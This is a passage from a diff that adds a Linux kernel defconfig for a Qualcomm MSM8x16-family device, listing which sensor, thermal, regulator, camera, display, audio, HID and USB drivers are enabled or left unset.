CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_IT87 is not set +# CONFIG_SENSORS_JC42 is not set +# CONFIG_SENSORS_LINEAGE is not set +# CONFIG_SENSORS_LM63 is not set +# CONFIG_SENSORS_LM70 is not set +# CONFIG_SENSORS_LM73 is not set +# CONFIG_SENSORS_LM75 is not set +# CONFIG_SENSORS_LM77 is not set +# CONFIG_SENSORS_LM78 is not set +# CONFIG_SENSORS_LM80 is not set +# CONFIG_SENSORS_LM83 is not set +# CONFIG_SENSORS_LM85 is not set +# CONFIG_SENSORS_LM87 is not set +# CONFIG_SENSORS_LM90 is not set +# CONFIG_SENSORS_LM92 is not set +# CONFIG_SENSORS_LM93 is not set +# CONFIG_SENSORS_LTC4151 is not set +# CONFIG_SENSORS_LTC4215 is not set +# CONFIG_SENSORS_LTC4245 is not set +# CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_LM95234 is not set +# CONFIG_SENSORS_LM95241 is not set +# CONFIG_SENSORS_LM95245 is not set +# CONFIG_SENSORS_MAX1111 is not set +# CONFIG_SENSORS_MAX16065 is not set +# CONFIG_SENSORS_MAX1619 is not set +# CONFIG_SENSORS_MAX1668 is not set +# CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX6639 is not set +# CONFIG_SENSORS_MAX6642 is not set +# CONFIG_SENSORS_MAX6650 is not set +# CONFIG_SENSORS_MAX6697 is not set +# CONFIG_SENSORS_MCP3021 is not set +# CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_EPM_ADC is not set +CONFIG_SENSORS_QPNP_ADC_VOLTAGE=y +CONFIG_SENSORS_QPNP_ADC_CURRENT=y +CONFIG_SENSORS_QPNP_CURRENT_MONITOR=y +# CONFIG_SENSORS_PC87360 is not set +# CONFIG_SENSORS_PC87427 is not set +# CONFIG_SENSORS_PCF8591 is not set +# CONFIG_PMBUS is not set +# CONFIG_SENSORS_SHT15 is not set +# CONFIG_SENSORS_SHT21 is not set +# CONFIG_SENSORS_SMM665 is not set +# CONFIG_SENSORS_DME1737 is not set +# CONFIG_SENSORS_EMC1403 is not set +# CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC6W201 is not set +# CONFIG_SENSORS_SMSC47M1 is not set +# CONFIG_SENSORS_SMSC47M192 is not set +# CONFIG_SENSORS_SMSC47B397 is not set +# CONFIG_SENSORS_SCH56XX_COMMON is not set +# CONFIG_SENSORS_ADS1015 is not set +# CONFIG_SENSORS_ADS7828 is not set +# CONFIG_SENSORS_ADS7871 is not set +# CONFIG_SENSORS_AMC6821 is not set +# CONFIG_SENSORS_INA209 is not set +# CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_THMC50 is not set +# CONFIG_SENSORS_TMP102 is not set +# CONFIG_SENSORS_TMP401 is not set +# CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_VT1211 is not set +# CONFIG_SENSORS_W83781D is not set +# CONFIG_SENSORS_W83791D is not set +# CONFIG_SENSORS_W83792D is not set +# CONFIG_SENSORS_W83793 is not set +# CONFIG_SENSORS_W83795 is not set +# CONFIG_SENSORS_W83L785TS is not set +# CONFIG_SENSORS_W83L786NG is not set +# CONFIG_SENSORS_W83627HF is not set +# CONFIG_SENSORS_W83627EHF is not set +CONFIG_THERMAL=y +CONFIG_THERMAL_HWMON=y +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_CPU_THERMAL is not set +# CONFIG_THERMAL_EMULATION is not set +CONFIG_THERMAL_TSENS8974=y +# CONFIG_LIMITS_MONITOR is not set +CONFIG_THERMAL_MONITOR=y +CONFIG_THERMAL_QPNP=y +CONFIG_THERMAL_QPNP_ADC_TM=y +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y + +# +# Sonics Silicon Backplane +# +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y + +# +# Broadcom specific AMBA +# +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +CONFIG_MFD_CORE=y +# CONFIG_MFD_AS3711 is not set +# CONFIG_PMIC_ADP5520 is not set +# CONFIG_MFD_AAT2870_CORE is not set +# CONFIG_MFD_CROS_EC is not set +# CONFIG_MFD_ASIC3 is not set +# CONFIG_PMIC_DA903X is not set +# CONFIG_MFD_DA9052_SPI is not set +# CONFIG_MFD_DA9052_I2C is not set +# CONFIG_MFD_DA9055 is not set +# CONFIG_MFD_MC13XXX_SPI is not set +# CONFIG_MFD_MC13XXX_I2C is not set +# CONFIG_HTC_EGPIO is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_HTC_I2CPLD is not set +# CONFIG_MFD_88PM800 is not set +# CONFIG_MFD_88PM805 is not set +# CONFIG_MFD_88PM860X is not set +# CONFIG_MFD_MAX77686 is not set +# CONFIG_MFD_MAX77693 is not set +# CONFIG_MFD_MAX8907 is not set +# CONFIG_MFD_MAX8925 is not set +# CONFIG_MFD_MAX8997 is not set +# CONFIG_MFD_MAX8998 is not set +# CONFIG_EZX_PCAP is not set +# CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RETU is not set +# CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_RC5T583 is not set +# CONFIG_MFD_SEC_CORE is not set +# CONFIG_MFD_SI476X_CORE is not set +# CONFIG_MFD_SM501 is not set +# CONFIG_MFD_SMSC is not set +# CONFIG_ABX500_CORE is not set +# CONFIG_MFD_STMPE is not set +# CONFIG_MFD_SYSCON is not set +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_LP8788 is not set +# CONFIG_MFD_PALMAS is not set +# CONFIG_TPS6105X is not set +# CONFIG_TPS65010 is not set +# CONFIG_TPS6507X is not set +# CONFIG_MFD_TPS65090 is not set +# CONFIG_MFD_TPS65217 is not set +# CONFIG_MFD_TPS6586X is not set +# CONFIG_MFD_TPS65910 is not set +# CONFIG_MFD_TPS65912 is not set +# CONFIG_MFD_TPS65912_I2C is not set +# CONFIG_MFD_TPS65912_SPI is not set +# CONFIG_MFD_TPS80031 is not set +# CONFIG_TWL4030_CORE is not set +# CONFIG_TWL6040_CORE is not set +# CONFIG_MFD_WL1273_CORE is not set +# CONFIG_MFD_LM3533 is not set +# CONFIG_MFD_TC3589X is not set +# CONFIG_MFD_TMIO is not set +# CONFIG_MFD_T7L66XB is not set +# CONFIG_MFD_TC6387XB is not set +# CONFIG_MFD_TC6393XB is not set +# CONFIG_MFD_ARIZONA_I2C is not set +# CONFIG_MFD_ARIZONA_SPI is not set +# CONFIG_MFD_WM8400 is not set +# CONFIG_MFD_WM831X_I2C is not set +# CONFIG_MFD_WM831X_SPI is not set +# CONFIG_MFD_WM8350_I2C is not set +# CONFIG_MFD_WM8994 is not set +# CONFIG_WCD9304_CODEC is not set +# CONFIG_WCD9310_CODEC is not set +# CONFIG_WCD9320_CODEC is not set +# CONFIG_WCD9306_CODEC is not set +# CONFIG_WCD9330_CODEC is not set +CONFIG_WCD9335_CODEC=y +CONFIG_REGULATOR=y +# CONFIG_REGULATOR_DEBUG is not set +# CONFIG_REGULATOR_DUMMY is not set +CONFIG_REGULATOR_FIXED_VOLTAGE=y +# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set +# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set +CONFIG_REGULATOR_PROXY_CONSUMER=y +# CONFIG_REGULATOR_GPIO is not set +# CONFIG_REGULATOR_AD5398 is not set +CONFIG_REGULATOR_FAN53555=y +CONFIG_REGULATOR_MEM_ACC=y +# CONFIG_REGULATOR_ISL6271A is not set +# CONFIG_REGULATOR_MAX1586 is not set +# CONFIG_REGULATOR_MAX8649 is not set +# CONFIG_REGULATOR_MAX8660 is not set +# CONFIG_REGULATOR_MAX8952 is not set +# CONFIG_REGULATOR_MAX8973 is not set +CONFIG_REGULATOR_ONSEMI_NCP6335D=y +# CONFIG_REGULATOR_LP3971 is not set +# CONFIG_REGULATOR_LP3972 is not set +# CONFIG_REGULATOR_LP872X is not set +# CONFIG_REGULATOR_LP8755 is not set +# CONFIG_REGULATOR_TPS51632 is not set +# CONFIG_REGULATOR_TPS62360 is not set +# CONFIG_REGULATOR_TPS65023 is not set +# CONFIG_REGULATOR_TPS6507X is not set +# CONFIG_REGULATOR_TPS6524X is not set +CONFIG_REGULATOR_TPS65132=y +# CONFIG_REGULATOR_TPS65132_YL is not set +CONFIG_REGULATOR_STUB=y +CONFIG_REGULATOR_RPM_SMD=y +CONFIG_REGULATOR_QPNP=y +CONFIG_REGULATOR_SPM=y +CONFIG_REGULATOR_CPR=y +CONFIG_MEDIA_SUPPORT=y + +# +# Multimedia core support +# +CONFIG_MEDIA_CAMERA_SUPPORT=y +# CONFIG_MEDIA_ANALOG_TV_SUPPORT is not set +# CONFIG_MEDIA_DIGITAL_TV_SUPPORT is not set +CONFIG_MEDIA_RADIO_SUPPORT=y +# CONFIG_MEDIA_RC_SUPPORT is not set +CONFIG_MEDIA_CONTROLLER=y +CONFIG_VIDEO_DEV=y +CONFIG_VIDEO_V4L2_SUBDEV_API=y +CONFIG_VIDEO_V4L2=y +# CONFIG_VIDEO_ADV_DEBUG is not set +# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set +CONFIG_VIDEOBUF2_CORE=y +CONFIG_VIDEOBUF2_MEMOPS=y +CONFIG_VIDEOBUF2_DMA_CONTIG=y +CONFIG_VIDEOBUF2_VMALLOC=y +CONFIG_VIDEOBUF2_DMA_SG=y +CONFIG_VIDEOBUF2_MSM_MEM=y +# CONFIG_VIDEO_V4L2_INT_DEVICE is not set +# CONFIG_TTPCI_EEPROM is not set + +# +# Media drivers +# +# CONFIG_MEDIA_USB_SUPPORT is not set +CONFIG_V4L_PLATFORM_DRIVERS=y +# CONFIG_VIDEO_TIMBERDALE is not set +# CONFIG_SOC_CAMERA is not set +# CONFIG_V4L_MEM2MEM_DRIVERS is not set +# CONFIG_V4L_TEST_DRIVERS is not set + +# +# Qualcomm MSM Camera And Video +# +# CONFIG_MSM_CAMERA is not set +CONFIG_MSMB_CAMERA=y +# CONFIG_MSMB_CAMERA_DEBUG is not set +CONFIG_MSM_CAMERA_SENSOR=y +CONFIG_MSM_CPP=y +CONFIG_MSM_CCI=y +# CONFIG_MSM_CSI20_HEADER is not set +# CONFIG_MSM_CSI22_HEADER is not set +CONFIG_MSM_CSI30_HEADER=y +# CONFIG_MSM_CSI31_HEADER is not set +CONFIG_MSM_CSIPHY=y +CONFIG_MSM_CSID=y +CONFIG_MSM_EEPROM=y +CONFIG_MSM_ISPIF=y +# CONFIG_MSM_ISPIF_V1 is not set +# CONFIG_IMX134 is not set +# CONFIG_IMX132 is not set +# CONFIG_OV9724 is not set +# CONFIG_HI256 is not set +# CONFIG_OV5648 is not set +# CONFIG_MT9M114 is not set +# CONFIG_OV5645 is not set +# CONFIG_OV7695 is not set +# CONFIG_SP1628 is not set +# CONFIG_GC0339 is not set +# CONFIG_OV8825 is not set +# CONFIG_OV8865 is not set +# CONFIG_s5k4e1 is not set +# CONFIG_OV12830 is not set +# CONFIG_MSM_V4L2_VIDEO_OVERLAY_DEVICE is not set +CONFIG_MSMB_JPEG=y +CONFIG_MSM_VIDC_V4L2=y +# CONFIG_MSM_VIDC_VMEM is not set +# CONFIG_MSM_WFD is not set +# CONFIG_TSPP is not set +# CONFIG_CI_BRIDGE_SPI is not set +# CONFIG_MSM_VPU is not set + +# +# Supported MMC/SDIO adapters +# +CONFIG_RADIO_ADAPTERS=y +# CONFIG_RADIO_SI470X is not set +# CONFIG_USB_MR800 is not set +# CONFIG_USB_DSBR is not set +# CONFIG_RADIO_SHARK is not set +# CONFIG_RADIO_SHARK2 is not set +# CONFIG_I2C_SI4713 is not set +# CONFIG_RADIO_SI4713 is not set +# CONFIG_USB_KEENE is not set +# CONFIG_USB_MA901 is not set +# CONFIG_RADIO_TEA5764 is not set +# CONFIG_RADIO_SAA7706H is not set +# CONFIG_RADIO_TEF6862 is not set +# CONFIG_RADIO_WL1273 is not set + +# +# Texas Instruments WL128x FM driver (ST based) +# +CONFIG_RADIO_IRIS=y +CONFIG_RADIO_IRIS_TRANSPORT=y +# CONFIG_RADIO_SILABS is not set +# CONFIG_CYPRESS_FIRMWARE is not set + +# +# Media ancillary drivers (tuners, sensors, i2c, frontends) +# +CONFIG_MEDIA_SUBDRV_AUTOSELECT=y + +# +# Audio decoders, processors and mixers +# + +# +# RDS decoders +# + +# +# Video decoders +# + +# +# Video and audio decoders +# + +# +# Video encoders +# + +# +# Camera sensor devices +# + +# +# Flash devices +# + +# +# Video improvement chips +# + +# +# Miscelaneous helper chips +# + +# +# Sensors used on soc_camera driver +# +CONFIG_MEDIA_TUNER=y +CONFIG_MEDIA_TUNER_SIMPLE=y +CONFIG_MEDIA_TUNER_TDA8290=y +CONFIG_MEDIA_TUNER_TDA827X=y +CONFIG_MEDIA_TUNER_TDA18271=y +CONFIG_MEDIA_TUNER_TDA9887=y +CONFIG_MEDIA_TUNER_TEA5761=y +CONFIG_MEDIA_TUNER_TEA5767=y +CONFIG_MEDIA_TUNER_MT20XX=y +CONFIG_MEDIA_TUNER_XC2028=y +CONFIG_MEDIA_TUNER_XC5000=y +CONFIG_MEDIA_TUNER_XC4000=y +CONFIG_MEDIA_TUNER_MC44S803=y + +# +# Tools to develop new frontends +# +# CONFIG_DVB_DUMMY_FE is not set + +# +# Graphics support +# +# CONFIG_DRM is not set +CONFIG_MSM_KGSL=y +# CONFIG_MSM_KGSL_CFF_DUMP is not set +CONFIG_MSM_ADRENO_DEFAULT_GOVERNOR="msm-adreno-tz" +CONFIG_KGSL_PER_PROCESS_PAGE_TABLE=y +# CONFIG_VGASTATE is not set +# CONFIG_VIDEO_OUTPUT_CONTROL is not set +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +# CONFIG_FB_DDC is not set +# CONFIG_FB_BOOT_VESA_SUPPORT is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set +CONFIG_FB_SYS_FILLRECT=y +CONFIG_FB_SYS_COPYAREA=y +CONFIG_FB_SYS_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +CONFIG_FB_SYS_FOPS=y +# CONFIG_FB_SVGALIB is not set +# CONFIG_FB_MACMODES is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_TMIO is not set +# CONFIG_FB_SMSCUFX is not set +# CONFIG_FB_UDL is not set +# CONFIG_FB_GOLDFISH is not set +CONFIG_FB_VIRTUAL=y +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_BROADSHEET is not set +# CONFIG_FB_AUO_K190X is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_MSM_VIDC_CONTENT_PROTECTION is not set +CONFIG_FB_MSM=y +# CONFIG_FB_MSM_BACKLIGHT is not set +# CONFIG_FB_MSM_LCDC_HW is not set +# CONFIG_FB_MSM_TRIPLE_BUFFER is not set +# CONFIG_FB_MSM_MDP_HW is not set +CONFIG_FB_MSM_MDSS_COMMON=y +# CONFIG_FB_MSM_MDP22 is not set +# CONFIG_FB_MSM_MDP30 is not set +# CONFIG_FB_MSM_MDP31 is not set +# CONFIG_FB_MSM_MDP40 is not set +CONFIG_FB_MSM_MDSS=y +# CONFIG_FB_MSM_MDP_NONE is not set +# CONFIG_FB_MSM_MDDI is not set +# CONFIG_FB_MSM_MIPI_DSI is not set +# CONFIG_FB_MSM_EXTMDDI is not set +# CONFIG_FB_MSM_MDDI_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_AUTO_DETECT is not set +CONFIG_FB_MSM_LVDS_CHIMEI_WXGA_PANEL=y +# CONFIG_FB_MSM_LVDS_FRC_FHD_PANEL is not set +# CONFIG_FB_MSM_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_MIPI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LVDS_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_TOSHIBA_VGA is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WSVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_VIDEO_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_CMD_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_VIDEO_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_CMD_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_TRULY_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_CMD_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_SIMULATOR_VIDEO_PANEL is not set +# CONFIG_FB_MSM_PANEL_NONE is not set +# CONFIG_FB_MSM_HDMI_COMMON is not set +# CONFIG_FB_MSM_HDMI_3D is not set +# CONFIG_FB_MSM_EBI2_PANEL_DETECT is not set +# CONFIG_FB_MSM_QPIC_ILI_QVGA_PANEL is not set +# CONFIG_FB_MSM_QPIC_PANEL_DETECT is not set +CONFIG_FB_MSM_MDSS_WRITEBACK=y +# CONFIG_FB_MSM_MDSS_HDMI_PANEL is not set +# CONFIG_FB_MSM_MDSS_DSI_CTRL_STATUS is not set +# CONFIG_FB_MSM_MDSS_EDP_PANEL is not set +# CONFIG_FB_MSM_MDSS_MDP3 is not set +CONFIG_FB_MSM_MDSS_KCAL_CTRL=y +# CONFIG_EXYNOS_VIDEO is not set +CONFIG_BACKLIGHT_LCD_SUPPORT=y +# CONFIG_LCD_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_GENERIC is not set +# CONFIG_BACKLIGHT_PWM is not set +# CONFIG_BACKLIGHT_ADP8860 is not set +# CONFIG_BACKLIGHT_ADP8870 is not set +# CONFIG_BACKLIGHT_LM3630 is not set +# CONFIG_BACKLIGHT_LM3639 is not set +# CONFIG_BACKLIGHT_LP855X is not set +# CONFIG_ADF is not set +# CONFIG_LOGO is not set +# CONFIG_FB_SSD1307 is not set +CONFIG_SOUND=y +# CONFIG_SOUND_OSS_CORE is not set +CONFIG_SND=y +CONFIG_SND_TIMER=y +CONFIG_SND_PCM=y +CONFIG_SND_HWDEP=y +CONFIG_SND_RAWMIDI=y +CONFIG_SND_COMPRESS_OFFLOAD=y +CONFIG_SND_JACK=y +# CONFIG_SND_SEQUENCER is not set +# CONFIG_SND_MIXER_OSS is not set +# CONFIG_SND_PCM_OSS is not set +# CONFIG_SND_HRTIMER is not set +CONFIG_SND_DYNAMIC_MINORS=y +CONFIG_SND_SUPPORT_OLD_API=y +CONFIG_SND_VERBOSE_PROCFS=y +# CONFIG_SND_VERBOSE_PRINTK is not set +# CONFIG_SND_DEBUG is not set +# CONFIG_SND_RAWMIDI_SEQ is not set +# CONFIG_SND_OPL3_LIB_SEQ is not set +# CONFIG_SND_OPL4_LIB_SEQ is not set +# CONFIG_SND_SBAWE_SEQ is not set +# CONFIG_SND_EMU10K1_SEQ is not set +CONFIG_SND_DRIVERS=y +# CONFIG_SND_DUMMY is not set +# CONFIG_SND_ALOOP is not set +# CONFIG_SND_MTPAV is not set +# CONFIG_SND_SERIAL_U16550 is not set +# CONFIG_SND_MPU401 is not set +CONFIG_SND_ARM=y +CONFIG_SND_SPI=y +CONFIG_SND_USB=y +CONFIG_SND_USB_AUDIO=y +# CONFIG_SND_USB_UA101 is not set +# CONFIG_SND_USB_CAIAQ is not set +# CONFIG_SND_USB_6FIRE is not set +CONFIG_SND_SOC=y +# CONFIG_SND_ATMEL_SOC is not set +# CONFIG_SND_DESIGNWARE_I2S is not set + +# +# MSM SoC Audio support +# +CONFIG_SND_SOC_MSM_HOSTLESS_PCM=y +CONFIG_SND_SOC_MSM_QDSP6V2_INTF=y +# CONFIG_SND_SOC_QDSP6 is not set +CONFIG_SND_SOC_QDSP6V2=y +# CONFIG_AUDIO_OCMEM is not set +CONFIG_DOLBY_DAP=y +# CONFIG_DTS_EAGLE is not set +CONFIG_DOLBY_DS2=y +CONFIG_DTS_SRS_TM=y +CONFIG_QTI_PP=y +CONFIG_SND_SOC_CPE=y +CONFIG_SND_SOC_MSM8X16=y +CONFIG_SND_SOC_I2C_AND_SPI=y +# CONFIG_SND_SOC_ALL_CODECS is not set +CONFIG_SND_SOC_WSA881X=y +CONFIG_SND_SOC_MSM8X16_WCD=y +CONFIG_SND_SOC_WCD_CPE=y +CONFIG_AUDIO_EXT_CLK=y +CONFIG_SND_SOC_WCD_MBHC=y +CONFIG_SND_SOC_MSM_STUB=y +CONFIG_SOUND_CONTROL=y +# CONFIG_SND_SIMPLE_CARD is not set +# CONFIG_SOUND_PRIME is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +CONFIG_HIDRAW=y +CONFIG_UHID=y +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +CONFIG_HID_A4TECH=y +CONFIG_HID_ACRUX=y +CONFIG_HID_ACRUX_FF=y +CONFIG_HID_APPLE=y +# CONFIG_HID_APPLEIR is not set +# CONFIG_HID_AUREAL is not set +CONFIG_HID_BELKIN=y +CONFIG_HID_CHERRY=y +CONFIG_HID_CHICONY=y +CONFIG_HID_PRODIKEYS=y +CONFIG_HID_CYPRESS=y +CONFIG_HID_DRAGONRISE=y +CONFIG_DRAGONRISE_FF=y +CONFIG_HID_EMS_FF=y +CONFIG_HID_ELECOM=y +CONFIG_HID_EZKEY=y +CONFIG_HID_FIIO=y +CONFIG_HID_HOLTEK=y +# CONFIG_HOLTEK_FF is not set +CONFIG_HID_KEYTOUCH=y +CONFIG_HID_KYE=y +CONFIG_HID_UCLOGIC=y +CONFIG_HID_WALTOP=y +CONFIG_HID_GYRATION=y +# CONFIG_HID_ICADE is not set +CONFIG_HID_TWINHAN=y +CONFIG_HID_KENSINGTON=y +CONFIG_HID_LCPOWER=y +# CONFIG_HID_LENOVO_TPKBD is not set +CONFIG_HID_LOGITECH=y +CONFIG_HID_LOGITECH_DJ=y +CONFIG_LOGITECH_FF=y +CONFIG_LOGIRUMBLEPAD2_FF=y +CONFIG_LOGIG940_FF=y +CONFIG_LOGIWHEELS_FF=y +CONFIG_HID_MAGICMOUSE=y +CONFIG_HID_MICROSOFT=y +CONFIG_HID_MONTEREY=y +CONFIG_HID_MULTITOUCH=y +CONFIG_HID_NTRIG=y +CONFIG_HID_ORTEK=y +CONFIG_HID_PANTHERLORD=y +CONFIG_PANTHERLORD_FF=y +CONFIG_HID_PETALYNX=y +CONFIG_HID_PICOLCD=y +# CONFIG_HID_PICOLCD_FB is not set +# CONFIG_HID_PICOLCD_BACKLIGHT is not set +# CONFIG_HID_PICOLCD_LEDS is not set +CONFIG_HID_PRIMAX=y +# CONFIG_HID_PS3REMOTE is not set +CONFIG_HID_ROCCAT=y +CONFIG_HID_SAITEK=y +CONFIG_HID_SAMSUNG=y +CONFIG_HID_SONY=y +CONFIG_HID_SPEEDLINK=y +# CONFIG_HID_STEELSERIES is not set +CONFIG_HID_SUNPLUS=y +CONFIG_HID_GREENASIA=y +CONFIG_GREENASIA_FF=y +CONFIG_HID_SMARTJOYPLUS=y +CONFIG_SMARTJOYPLUS_FF=y +CONFIG_HID_TIVO=y +CONFIG_HID_TOPSEED=y +# CONFIG_HID_THINGM is not set +CONFIG_HID_THRUSTMASTER=y +# CONFIG_THRUSTMASTER_FF is not set +CONFIG_HID_WACOM=y +CONFIG_HID_WIIMOTE=y +CONFIG_HID_WIIMOTE_EXT=y +CONFIG_HID_ZEROPLUS=y +# CONFIG_ZEROPLUS_FF is not set +CONFIG_HID_ZYDACRON=y +# CONFIG_HID_SENSOR_HUB is not set + +# +# USB HID support +# +CONFIG_USB_HID=y +# CONFIG_HID_PID is not set +CONFIG_USB_HIDDEV=y + +# +# I2C HID support +# +# CONFIG_I2C_HID is not set +CONFIG_USB_SUPPORT=y +CONFIG_USB_COMMON=y +CONFIG_USB_ARCH_HAS_HCD=y +CONFIG_USB=y +# CONFIG_USB_DEBUG is not set +CONFIG_USB_ANNOUNCE_NEW_DEVICES=y + +# +# Miscellaneous USB options +# +CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_DYNAMIC_MINORS is not set +# CONFIG_USB_OTG is not set +# CONFIG_USB_OTG_WHITELIST is not set +# CONFIG_USB_OTG_BLACKLIST_HUB is not set +CONFIG_USB_MON=y +# CONFIG_USB_WUSB_CBAF is not set + +# +# USB Host Controller Drivers +# +# CONFIG_USB_C67X00_HCD is not set +# CONFIG_USB_XHCI_HCD is not set +CONFIG_USB_EHCI_HCD=y +CONFIG_USB_EHCI_EHSET=y +CONFIG_USB_EHCI_ROOT_HUB_TT=y +CONFIG_USB_EHCI_TT_NEWSCHED=y +CONFIG_USB_EHCI_MSM=y +# CONFIG_USB_EHCI_MSM_HSIC is not set +CONFIG_USB_EHCI_MSM_UICC=y +# CONFIG_USB_EHCI_HCD_PLATFORM is not set +# CONFIG_USB_OXU210HP_HCD is not set +# CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_ISP1760_HCD is not set +# CONFIG_USB_ISP1362_HCD is not set +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_SL811_HCD is not set +# CONFIG_USB_R8A66597_HCD is not set +CONFIG_USB_ICE40_HCD=y +# CONFIG_USB_MUSB_HDRC is not set +# CONFIG_USB_RENESAS_USBHS is not set + +# +# USB Device Class drivers +# +CONFIG_USB_ACM=y +# CONFIG_USB_PRINTER is not set +# CONFIG_USB_WDM is not set +# CONFIG_USB_TMC is not set +CONFIG_USB_CCID_BRIDGE=y + +# +# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may +# + +# +# also be needed; see USB_STORAGE Help for more info +# +CONFIG_USB_STORAGE=y +# CONFIG_USB_STORAGE_DEBUG is not set +# CONFIG_USB_STORAGE_REALTEK is not set +CONFIG_USB_STORAGE_DATAFAB=y +CONFIG_USB_STORAGE_FREECOM=y +CONFIG_USB_STORAGE_ISD200=y +CONFIG_USB_STORAGE_USBAT=y +CONFIG_USB_STORAGE_SDDR09=y +CONFIG_USB_STORAGE_SDDR55=y +CONFIG_USB_STORAGE_JUMPSHOT=y +CONFIG_USB_STORAGE_ALAUDA=y +CONFIG_USB_STORAGE_ONETOUCH=y +CONFIG_USB_STORAGE_KARMA=y +CONFIG_USB_STORAGE_CYPRESS_ATACB=y +# CONFIG_USB_STORAGE_ENE_UB6250 is not set + +# +# USB Imaging devices +# +# CONFIG_USB_MDC800 is not set +# CONFIG_USB_MICROTEK is not set +# CONFIG_USB_DWC3 is not set +# CONFIG_USB_CHIPIDEA is not set + +# +# USB port drivers +# +CONFIG_USB_SERIAL=y +# CONFIG_USB_SERIAL_CONSOLE is not set +# CONFIG_USB_SERIAL_GENERIC is not set +# CONFIG_USB_SERIAL_AIRCABLE is not set +# CONFIG_USB_SERIAL_ARK3116 is not set +# CONFIG_USB_SERIAL_BELKIN is not set +# CONFIG_USB_SERIAL_CH341 is not set +# CONFIG_USB_SERIAL_WHITEHEAT is not set +# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set +# CONFIG_USB_SERIAL_CP210X is not set +# CONFIG_USB_SERIAL_CYPRESS_M8 is not set +# CONFIG_USB_SERIAL_EMPEG is not set +# CONFIG_USB_SERIAL_FTDI_SIO is not set +# CONFIG_USB_SERIAL_FUNSOFT is not set +# CONFIG_USB_SERIAL_VISOR is not set +# CONFIG_USB_SERIAL_IPAQ is not set +# CONFIG_USB_SERIAL_IR is not set +# CONFIG_USB_SERIAL_EDGEPORT is not set +# CONFIG_USB_SERIAL_EDGEPORT_TI is not set +# CONFIG_USB_SERIAL_F81232 is not set +# CONFIG_USB_SERIAL_GARMIN is not set +# CONFIG_USB_SERIAL_IPW is not set +# CONFIG_USB_SERIAL_IUU is not set +# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set +# CONFIG_USB_SERIAL_KEYSPAN is not set +# CONFIG_USB_SERIAL_KLSI is not set +# CONFIG_USB_SERIAL_KOBIL_SCT is not set +# CONFIG_USB_SERIAL_MCT_U232 is not set +# 